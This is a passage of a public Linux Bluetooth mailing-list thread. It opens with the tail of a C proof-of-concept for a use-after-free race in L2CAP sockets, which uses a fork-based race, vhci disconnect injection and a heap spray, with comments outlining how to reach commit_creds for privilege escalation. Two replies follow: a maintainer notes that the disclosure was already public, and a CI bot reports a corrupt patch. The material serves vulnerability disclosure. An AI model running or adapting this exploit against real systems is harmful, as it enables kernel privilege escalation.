* DO NOT set O_NONBLOCK — that collapses window to nanoseconds
*/
int sndbuf = 4096;
sc5(SYS_setsockopt, sock, SOL_SOCKET, SO_SNDBUF, (long)&sndbuf, (long)sizeof(sndbuf));
xputs("[*] SO_SNDBUF=4096 set (blocking sends for wide race window)\n");
/* ── Step 4: Build spray payload ── */
build_spray_payload();
/* ── Step 5: Fork for SMP race ── */
xputs("[*] Forking for SMP race (child=sender CPU0, parent=spray+disconnect CPU1)...\n");
long pid = sc1(SYS_fork, 0L);
if(pid == 0){
/* ══ CHILD: blocking send flood ══ */
xputs("[child] Started\n");
child_send_flood(sock);
xreboot(); while(1){}
} else {
/* ══ PARENT: wait → disconnect → spray ══
*
* Timing strategy:
* 1. Wait 50ms — child fills sk_wmem (68 × 60B = 4080B ≈ sndbuf)
* After ~68 sends child is blocking in sk_stream_wait_memory
* 2. inject_disconnect → kernel processes async:
* HCI workqueue → l2cap_conn_del → l2cap_chan_put → kfree(chan)
* 3. Immediately spray 256 keys → fills freed chan slot
* The kernel processes disconnect in ~50-500μs typically
* Our spray follows within microseconds of the vhci write
* 4. When kernel finally processes disconnect and kfree fires,
* the freed slot is already filled by our spray
* 5. Child wakes from sk_stream_wait_memory (sock write space woken
* by teardown path's sk_state_change callback)
* 6. Child calls mutex_lock(freed/sprayed chan) → UAF
*
* With kasan_multi_shot: UAF detected but execution continues:
* → chan->state (offset 16) = 0x03 from spray → passes BT_CONNECTED check
* → chan->ops (offset 1192) = NULL from spray
* → ops->suspend = *(NULL + 0x48) → page fault at 0x48
*/
xsleep_ms(50);
xputs("[parent] Child should be blocking in bt_skb_send_alloc now\n");
inject_disconnect(LE_HANDLE);
/* Spray immediately — fill freed chan slot before child wakes */
do_spray();
xputs("[parent] Spray complete — waiting for KASAN + page fault...\n");
xputs("[parent] Expected kernel output:\n");
xputs("[parent] BUG: KASAN: use-after-free in mutex_lock_nested\n");
xputs("[parent] BUG: unable to handle page fault for address: 0000000000000048\n");
xputs("[parent] → Page fault at 0x48 = NULL + offsetof(l2cap_ops, suspend)\n");
xputs("[parent] → PROVES: chan->ops fully controlled via heap spray\n");
xputs("[parent] → To achieve RIP: replace NULL with ptr to fake_l2cap_ops\n");
xputs("[parent] where fake_l2cap_ops.suspend = commit_creds gadget\n");
xsleep_ms(10000);
xputs("\n╔══════════════════════════════════════════════════════════╗\n");
xputs("║ RESULT ║\n");
xputs("║ If KASAN + 0x48 page fault seen above: EXPLOITABLE ║\n");
xputs("║ If only KASAN (no page fault): spray timing issue ║\n");
xputs("║ If neither: race not won (try again) ║\n");
xputs("╚══════════════════════════════════════════════════════════╝\n\n");
sc2(SYS_kill, pid, 9L);
sc5(SYS_wait4, -1L, 0L, 0L, 0L, 0L);
sc3(SYS_sync, 0, 0, 0);
xreboot(); while(1){}
}
}
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [SECURITY] Use-after-free in l2cap_sock_alloc_skb_cb (net/bluetooth)
2026-04-27 0:09 [SECURITY] Use-after-free in l2cap_sock_alloc_skb_cb (net/bluetooth) Safa Karakuş
@ 2026-04-27 2:28 ` Willy Tarreau
2026-04-27 4:02 ` bluez.test.bot
1 sibling, 0 replies; 3+ messages in thread
From: Willy Tarreau @ 2026-04-27 2:28 UTC (permalink / raw)
To: Safa Karakus; +Cc: security@kernel.org, linux-bluetooth@vger.kernel.org
Hello,
On Mon, Apr 27, 2026 at 12:09:38AM +0000, Safa Karakus wrote:
> I am requesting coordinated disclosure. The standard 90-day embargo is
> acceptable. I will not publish details before a patch is merged and a CVE
> is assigned, unless the embargo period expires without a response.
Too late, you already posted it to a public list (linux-bluetooth):
https://lore.kernel.org/linux-bluetooth/DB4P250MB08058DC86977A3A6F25207CDEB362@DB4P250MB0805.EURP250.PROD.OUTLOOK.COM/T/#u
Please, in the future, read Documentation/process/security-bugs.rst or
its online version:
https://www.kernel.org/doc/html/latest/process/security-bugs.html
Regards,
Willy
^ permalink raw reply [flat|nested] 3+ messages in thread
* RE: [SECURITY] Use-after-free in l2cap_sock_alloc_skb_cb (net/bluetooth)
2026-04-27 0:09 [SECURITY] Use-after-free in l2cap_sock_alloc_skb_cb (net/bluetooth) Safa Karakuş
2026-04-27 2:28 ` Willy Tarreau
@ 2026-04-27 4:02 ` bluez.test.bot
1 sibling, 0 replies; 3+ messages in thread
From: bluez.test.bot @ 2026-04-27 4:02 UTC (permalink / raw)
To: linux-bluetooth, safa.karakus
[-- Attachment #1: Type: text/plain, Size: 478 bytes --]
This is an automated email and please do not reply to this email.
Dear Submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
While preparing the CI tests, the patches you submitted couldn't be applied to the current HEAD of the repository.
----- Output -----
error: corrupt patch at line 21
hint: Use 'git am --show-current-patch' to see the failed patch
Please resolve the issue and submit the patches again.
---
Regards,
Linux Bluetooth
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-04-27 4:02 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-27 0:09 [SECURITY] Use-after-free in l2cap_sock_alloc_skb_cb (net/bluetooth) Safa Karakuş
2026-04-27 2:28 ` Willy Tarreau
2026-04-27 4:02 ` bluez.test.bot
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox